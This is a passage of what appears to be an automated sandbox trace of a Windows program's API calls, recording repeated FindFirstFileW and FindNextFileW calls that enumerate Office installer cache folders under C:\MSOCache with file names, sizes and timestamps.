returned 0x12 [0052.113] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\*" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcaeab300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcafb5ca0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcafb5ca0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0052.115] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcaeab300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcafb5ca0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcafb5ca0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.115] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c2727d0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x1c2727d0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xcafb4d00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xd36695, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0052.115] GetLastError () returned 0x12 [0052.115] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe24ec60, ftCreationTime.dwHighDateTime=0x1d0cbbe, ftLastAccessTime.dwLowDateTime=0xbe24ec60, ftLastAccessTime.dwHighDateTime=0x1d0cbbe, ftLastWriteTime.dwLowDateTime=0xcaeaab30, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x203000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0052.115] GetLastError () returned 0x12 [0052.115] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x578b420, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x578b420, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xcaeaab30, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0052.115] GetLastError () returned 0x12 [0052.115] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x578b420, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x578b420, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xcaeaab30, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0052.115] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0052.115] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0052.115] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a506c00, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x1a506c00, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xcac6f690, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0052.116] GetLastError () returned 0x12 [0052.116] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66266080, ftCreationTime.dwHighDateTime=0x1d0cbb3, ftLastAccessTime.dwLowDateTime=0x66266080, ftLastAccessTime.dwHighDateTime=0x1d0cbb3, ftLastWriteTime.dwLowDateTime=0xcac6f690, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0052.116] GetLastError () returned 0x12 [0052.116] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42175690, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42175690, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd08f8600, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x17b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.116] GetLastError () returned 0x12 [0052.116] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42175690, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42175690, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd08f8600, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x17b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0052.116] FindClose (in: hFindFile=0x4d8620 | out: hFindFile=0x4d8620) returned 1 [0052.116] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37d0058 | out: hHeap=0xab0000) returned 1 [0052.116] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2433140, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd247f400, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd247f400, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0044-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9E0A5~1")) returned 1 [0052.116] GetLastError () returned 0x12 [0052.116] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2433140, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd247f400, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd247f400, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0052.120] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2433140, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd247f400, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd247f400, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.120] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce2ab890, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0xce2ab890, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xd2457360, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3bafe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0052.120] GetLastError () returned 0x12 [0052.120] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3d24d0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0xe3d24d0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd2432970, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x246000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1 [0052.120] GetLastError () returned 0x12 [0052.120] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x24c51f60, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x24c51f60, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd2432970, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0052.121] GetLastError () returned 0x12 [0052.121] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41b31680, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41b31680, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd247e460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x703, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.121] GetLastError () returned 0x12 [0052.121] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41b31680, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41b31680, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd247e460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x703, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0052.121] FindClose (in: hFindFile=0x4d8620 | out: hFindFile=0x4d8620) returned 1 [0052.122] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37d0058 | out: hHeap=0xab0000) returned 1 [0052.122] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f4a3e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1fe2960, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1fe2960, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0090-0409-0000-0000000FF1CE}-C", cAlternateFileName="{935E4~1")) returned 1 [0052.122] GetLastError () returned 0x12 [0052.122] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f4a3e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1fe2960, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1fe2960, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0052.123] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f4a3e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1fe2960, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1fe2960, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.123] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb87a4fc0, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0xb87a4fc0, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd1fbc030, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x9ca36, dwReserved0=0x0, dwReserved1=0x0, cFileName="DCFMUI.cab", cAlternateFileName="")) returned 1 [0052.123] GetLastError () returned 0x12 [0052.123] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdc86a00, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0xdc86a00, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd1f70540, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x246000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DCFMUI.msi", cAlternateFileName="")) returned 1 [0052.124] GetLastError () returned 0x12 [0052.124] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdf06d040, ftCreationTime.dwHighDateTime=0x1d0cbb1, ftLastAccessTime.dwLowDateTime=0xdf06d040, ftLastAccessTime.dwHighDateTime=0x1d0cbb1, ftLastWriteTime.dwLowDateTime=0xd1f70540, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="DCFMUI.xml", cAlternateFileName="")) returned 1 [0052.124] GetLastError () returned 0x12 [0052.124] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4198d7c0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4198d7c0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1fe0a20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x710, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.124] GetLastError () returned 0x12 [0052.124] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4198d7c0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4198d7c0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1fe0a20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x710, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0052.124] FindClose (in: hFindFile=0x4d8620 | out: hFindFile=0x4d8620) returned 1 [0052.124] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37d0058 | out: hHeap=0xab0000) returned 1 [0052.124] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd16f56e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f24280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f24280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00A1-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9155A~1")) returned 1 [0052.124] GetLastError () returned 0x12 [0052.124] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd16f56e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f24280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f24280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0052.131] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd16f56e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f24280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f24280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.131] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6cdfd410, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x6cdfd410, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd16f37a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x247000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0052.131] GetLastError () returned 0x12 [0052.131] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6b80780, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xa6b80780, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd16f37a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x719, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0052.131] GetLastError () returned 0x12 [0052.131] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85984230, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x85984230, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd17419a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xcbc714, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0052.131] GetLastError () returned 0x12 [0052.131] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x423b0b30, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x423b0b30, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1f22340, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x87f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.131] GetLastError () returned 0x12 [0052.132] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x423b0b30, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x423b0b30, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1f22340, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x87f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0052.132] FindClose (in: hFindFile=0x4d8620 | out: hFindFile=0x4d8620) returned 1 [0052.132] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37d0058 | out: hHeap=0xab0000) returned 1 [0052.133] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2113460, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd240cfe0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd240cfe0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00BA-0409-0000-0000000FF1CE}-C", cAlternateFileName="{97C62~1")) returned 1 [0052.133] GetLastError () returned 0x12 [0052.133] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2113460, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd240cfe0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd240cfe0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0052.142] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2113460, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd240cfe0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd240cfe0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.142] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x224df1f0, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0x224df1f0, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd240b870, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xd5202, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0052.142] GetLastError () returned 0x12 [0052.142] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x125bd4d0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x125bd4d0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd2111cf0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x245000, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0052.142] GetLastError () returned 0x12 [0052.142] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa241b20, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xa241b20, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd2111cf0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x466, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0052.142] GetLastError () returned 0x12 [0052.142] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41bf2470, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41bf2470, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd240b870, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x668, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.142] GetLastError () returned 0x12 [0052.143] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, 